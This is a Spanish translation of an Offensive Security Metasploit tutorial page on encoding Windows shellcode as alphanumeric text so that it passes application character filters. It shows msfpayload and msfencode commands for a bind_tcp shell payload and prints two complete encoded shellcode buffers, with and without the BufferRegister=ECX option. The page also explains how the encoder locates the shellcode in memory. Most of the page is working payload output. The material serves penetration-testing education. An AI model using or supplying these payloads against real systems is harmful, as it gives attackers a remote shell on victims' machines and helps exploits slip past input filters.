Hay casos donde necesita obtener un codigo shell alfanumerico puro porque la aplicacion explotada filtra los caracteres. MSF puede generar un codigo shell alfanumerico facilemente a travez de msfencode. Por ejemplo, para generar un mezcla alfanumerica de mayusculas y minisculas codificada, podemos usar el siguiente comando:
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell/bind_tcp R | ./msfencode -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 659 (iteration=1)
unsigned char buf[] =
"\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4d\x38\x4c\x49\x45\x50\x45\x50\x45\x50\x43\x50\x4d\x59"
"\x4d\x35\x50\x31\x49\x42\x42\x44\x4c\x4b\x50\x52\x50\x30\x4c"
"\x4b\x51\x42\x44\x4c\x4c\x4b\x51\x42\x45\x44\x4c\x4b\x44\x32"
"\x51\x38\x44\x4f\x4e\x57\x50\x4a\x47\x56\x46\x51\x4b\x4f\x50"
"\x31\x49\x50\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x45\x52\x46\x4c"
"\x47\x50\x49\x51\x48\x4f\x44\x4d\x43\x31\x48\x47\x4b\x52\x4a"
"\x50\x51\x42\x50\x57\x4c\x4b\x46\x32\x42\x30\x4c\x4b\x47\x32"
"\x47\x4c\x45\x51\x4e\x30\x4c\x4b\x47\x30\x44\x38\x4d\x55\x49"
"\x50\x44\x34\x50\x4a\x45\x51\x48\x50\x50\x50\x4c\x4b\x50\x48"
"\x44\x58\x4c\x4b\x51\x48\x51\x30\x43\x31\x4e\x33\x4b\x53\x47"
"\x4c\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4e\x36\x50\x31"
"\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x49\x51\x48\x4f\x44\x4d\x45"
"\x51\x49\x57\x50\x38\x4d\x30\x42\x55\x4c\x34\x45\x53\x43\x4d"
"\x4c\x38\x47\x4b\x43\x4d\x51\x34\x43\x45\x4b\x52\x51\x48\x4c"
"\x4b\x51\x48\x47\x54\x45\x51\x49\x43\x42\x46\x4c\x4b\x44\x4c"
"\x50\x4b\x4c\x4b\x50\x58\x45\x4c\x43\x31\x48\x53\x4c\x4b\x43"
"\x34\x4c\x4b\x43\x31\x48\x50\x4c\x49\x50\x44\x51\x34\x51\x34"
"\x51\x4b\x51\x4b\x45\x31\x46\x39\x51\x4a\x50\x51\x4b\x4f\x4b"
"\x50\x51\x48\x51\x4f\x51\x4a\x4c\x4b\x44\x52\x4a\x4b\x4b\x36"
"\x51\x4d\x43\x58\x50\x33\x50\x32\x43\x30\x43\x30\x42\x48\x43"
"\x47\x43\x43\x50\x32\x51\x4f\x50\x54\x43\x58\x50\x4c\x43\x47"
"\x51\x36\x43\x37\x4b\x4f\x4e\x35\x4e\x58\x4a\x30\x43\x31\x45"
"\x50\x45\x50\x51\x39\x49\x54\x50\x54\x46\x30\x43\x58\x46\x49"
"\x4b\x30\x42\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50\x50\x50\x50"
"\x50\x46\x30\x51\x50\x46\x30\x51\x50\x46\x30\x43\x58\x4a\x4a"
"\x44\x4f\x49\x4f\x4d\x30\x4b\x4f\x48\x55\x4d\x47\x50\x31\x49"
"\x4b\x51\x43\x45\x38\x43\x32\x45\x50\x44\x51\x51\x4c\x4d\x59"
"\x4d\x36\x42\x4a\x44\x50\x50\x56\x51\x47\x42\x48\x48\x42\x49"
"\x4b\x46\x57\x43\x57\x4b\x4f\x48\x55\x51\x43\x50\x57\x45\x38"
"\x48\x37\x4b\x59\x46\x58\x4b\x4f\x4b\x4f\x4e\x35\x50\x53\x46"
"\x33\x50\x57\x45\x38\x43\x44\x4a\x4c\x47\x4b\x4b\x51\x4b\x4f"
"\x49\x45\x51\x47\x4c\x57\x43\x58\x44\x35\x42\x4e\x50\x4d\x43"
"\x51\x4b\x4f\x4e\x35\x42\x4a\x43\x30\x42\x4a\x45\x54\x50\x56"
"\x51\x47\x43\x58\x45\x52\x48\x59\x49\x58\x51\x4f\x4b\x4f\x4e"
"\x35\x4c\x4b\x47\x46\x42\x4a\x51\x50\x43\x58\x45\x50\x42\x30"
"\x43\x30\x45\x50\x46\x36\x43\x5a\x45\x50\x45\x38\x46\x38\x49"
"\x34\x46\x33\x4a\x45\x4b\x4f\x49\x45\x4d\x43\x46\x33\x42\x4a"
"\x45\x50\x50\x56\x50\x53\x50\x57\x45\x38\x44\x42\x49\x49\x49"
"\x58\x51\x4f\x4b\x4f\x4e\x35\x43\x31\x48\x43\x47\x59\x49\x56"
"\x4d\x55\x4c\x36\x43\x45\x4a\x4c\x49\x53\x44\x4a\x41\x41";
Si vemos mas en detalle el codigo shell generado, podra ver que hay algunos caracteres no alfanumericos:
>>> print shellcode
???t$?^VYIIIIIIIIICCCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLCZJKPMKXKIKOKOKOE0LKBLQ4Q4LKQUGLLKCLC5CHEQJOLKPOB8LKQOGPC1
JKPILKGDLKC1JNP1IPLYNLK4IPD4EWIQHJDMC1IRJKKDGKPTQ4GXCEKULKQOFDC1JKE6LKDLPKLKQOELEQJKDCFLLKMYBLFDELE1HCP1IKE4LKG3P0LKG0D
LLKBPELNMLKG0C8QNBHLNPNDNJLF0KOHVBFPSCVE8P3GBBHD7BSGBQOF4KOHPE8HKJMKLGKPPKON6QOK9M5CVMQJMEXC2QEBJERKOHPCXIIEYKENMQGKON6
QCQCF3PSF3G3PSPCQCKOHPBFCXB1QLE6QCMYM1J5BHNDDZD0IWF7KOIFCZDPPQQEKON0E8NDNMFNJIPWKOHVQCF5KON0BHJEG9LFQYF7KOIFF0PTF4QEKOH
PJ3E8JGCIHFBYF7KON6PUKOHPBFCZE4E6E8BCBMK9M5BJF0PYQ9HLMYKWBJG4MYM2FQIPL3NJKNQRFMKNPBFLJ3LMCJGHNKNKNKBHCBKNNSDVKOCEQTKOHV
QKQGPRF1PQF1CZEQPQPQPUF1KOHPE8NMN9DEHNF3KOIFCZKOKOFWKOHPLKQGKLLCITE4KOHVF2KOHPCXJPMZDDQOF3KOHVKOHPDJAA
Imagen perdida en offensive-security.comUna vez que la direccion del codigo shell obtiene las dos primeras instrucciones, es insertada en la pila y almacenada en el registro ECX que luego seran utilizadas para calcular las compensaciones relativas.
Sin embargo, si somos capaces de alguna manera de obtener la posicion absoluta del codigo shell por nuestra cuenta y guardar la direccion en un registro antes de ejecutar el codigo shell, podemos usar la opcion especial BufferRegister=REG32 durante la codificacion de nuestro payload:
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell/bind_tcp R | ./msfencode BufferRegister=ECX -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 651 (iteration=1)
unsigned char buf[] =
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50"
"\x38\x41\x42\x75\x4a\x49\x4b\x4c\x4d\x38\x4c\x49\x43\x30\x43"
"\x30\x45\x50\x45\x30\x4c\x49\x4b\x55\x50\x31\x48\x52\x43\x54"
"\x4c\x4b\x51\x42\x50\x30\x4c\x4b\x50\x52\x44\x4c\x4c\x4b\x50"
"\x52\x45\x44\x4c\x4b\x44\x32\x46\x48\x44\x4f\x48\x37\x50\x4a"
"\x46\x46\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c\x47\x4c\x43"
"\x51\x43\x4c\x45\x52\x46\x4c\x47\x50\x49\x51\x48\x4f\x44\x4d"
"\x43\x31\x49\x57\x4b\x52\x4a\x50\x51\x42\x51\x47\x4c\x4b\x51"
"\x42\x42\x30\x4c\x4b\x50\x42\x47\x4c\x43\x31\x48\x50\x4c\x4b"
"\x51\x50\x42\x58\x4b\x35\x49\x50\x43\x44\x50\x4a\x43\x31\x48"
"\x50\x50\x50\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x50\x58\x47\x50"
"\x43\x31\x49\x43\x4a\x43\x47\x4c\x50\x49\x4c\x4b\x50\x34\x4c"
"\x4b\x43\x31\x4e\x36\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e\x4c"
"\x49\x51\x48\x4f\x44\x4d\x45\x51\x49\x57\x47\x48\x4b\x50\x43"
"\x45\x4c\x34\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x46\x44"
"\x42\x55\x4a\x42\x46\x38\x4c\x4b\x50\x58\x47\x54\x45\x51\x49"
"\x43\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45\x4c"
"\x45\x51\x4e\x33\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x4e\x30\x4b"
"\x39\x51\x54\x47\x54\x47\x54\x51\x4b\x51\x4b\x45\x31\x51\x49"
"\x51\x4a\x46\x31\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x50\x5a\x4c"
"\x4b\x45\x42\x4a\x4b\x4b\x36\x51\x4d\x45\x38\x47\x43\x47\x42"
"\x45\x50\x43\x30\x43\x58\x43\x47\x43\x43\x47\x42\x51\x4f\x50"
"\x54\x43\x58\x50\x4c\x44\x37\x46\x46\x45\x57\x4b\x4f\x4e\x35"
"\x48\x38\x4c\x50\x43\x31\x45\x50\x45\x50\x51\x39\x48\x44\x50"
"\x54\x46\x30\x45\x38\x46\x49\x4b\x30\x42\x4b\x45\x50\x4b\x4f"
"\x49\x45\x50\x50\x50\x50\x50\x50\x46\x30\x51\x50\x50\x50\x47"
"\x30\x46\x30\x43\x58\x4a\x4a\x44\x4f\x49\x4f\x4d\x30\x4b\x4f"
"\x4e\x35\x4a\x37\x50\x31\x49\x4b\x50\x53\x45\x38\x43\x32\x43"
"\x30\x44\x51\x51\x4c\x4d\x59\x4b\x56\x42\x4a\x42\x30\x51\x46"
"\x50\x57\x43\x58\x48\x42\x49\x4b\x50\x37\x43\x57\x4b\x4f\x49"
"\x45\x50\x53\x50\x57\x45\x38\x4e\x57\x4d\x39\x47\x48\x4b\x4f"
"\x4b\x4f\x48\x55\x51\x43\x46\x33\x46\x37\x45\x38\x42\x54\x4a"
"\x4c\x47\x4b\x4b\x51\x4b\x4f\x4e\x35\x50\x57\x4c\x57\x42\x48"
"\x42\x55\x42\x4e\x50\x4d\x45\x31\x4b\x4f\x49\x45\x42\x4a\x43"
"\x30\x42\x4a\x45\x54\x50\x56\x50\x57\x43\x58\x44\x42\x4e\x39"
"\x48\x48\x51\x4f\x4b\x4f\x4e\x35\x4c\x4b\x46\x56\x42\x4a\x47"
"\x30\x42\x48\x45\x50\x44\x50\x43\x30\x43\x30\x50\x56\x43\x5a"
"\x43\x30\x43\x58\x46\x38\x4e\x44\x50\x53\x4d\x35\x4b\x4f\x48"
"\x55\x4a\x33\x46\x33\x43\x5a\x43\x30\x50\x56\x51\x43\x51\x47"
"\x42\x48\x43\x32\x4e\x39\x48\x48\x51\x4f\x4b\x4f\x4e\x35\x43"
"\x31\x48\x43\x51\x39\x49\x56\x4c\x45\x4a\x56\x43\x45\x4a\x4c"
"\x49\x53\x45\x5a\x41\x41";Esta vez hemos obtenido un codigo shell alfanumerico puro:
>>> print shellcode
IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLBJJKPMM8KIKOKOKOE0LKBLFDFDLKPEGLLKCLC5D8C1JOLKPOEHLKQOGPEQJKPILKGD
LKEQJNFQIPMINLLDIPCDC7IQHJDMC1HBJKJTGKF4GTFHBUJELKQOGTC1JKCVLKDLPKLKQOELEQJKESFLLKLIBLFDELE1HCP1IKE4LKG3FPLKG0DLLKBPELN
MLKG0DHQNE8LNPNDNJLPPKOHVE6QCE6CXP3FRE8CGCCP2QOPTKON0CXHKJMKLGKF0KOHVQOMYM5E6K1JMEXC2PUBJDBKON0CXN9C9KENMPWKON6QCF3F3F3
PSG3PSPCQCKOHPBFE8DQQLBFPSMYKQMECXNDDZBPIWQGKOHVBJB0PQPUKOHPBHNDNMFNKYPWKON6QCF5KOHPCXKUG9K6QYQGKOHVF0QDF4QEKON0MCCXKWD
9HFBYQGKOIFQEKON0BFCZBDE6CXCSBMMYJECZF0F9FIHLK9KWCZQTK9JBFQIPKCNJKNQRFMKNG2FLMCLMBZFXNKNKNKCXCBKNNSB6KOD5QTKON6QKF7QBF1
PQF1BJC1F1F1PUPQKON0CXNMIIDEHNQCKOHVBJKOKOGGKOHPLKF7KLLCITBDKON6QBKOHPE8L0MZETQOQCKOHVKOHPEZAA En este caso, le dijimos a msfencode que nos ocupamos de encontrar la direccion absoluta del codigo shell y la hemos guardado en el registro ECX:
Imagen perdida en offensive-security.comComo puede ver en la imagen anterior, ECX se ha establecido previamente para señalar el comiezo del codigo shell. En este punto, el payload comienza directamente a realinear ECX al empezar la secuencia del codigo shell.
- Original by www.offensive-security.com
- Traslated by Jhyx
0 comentarios:
Publicar un comentario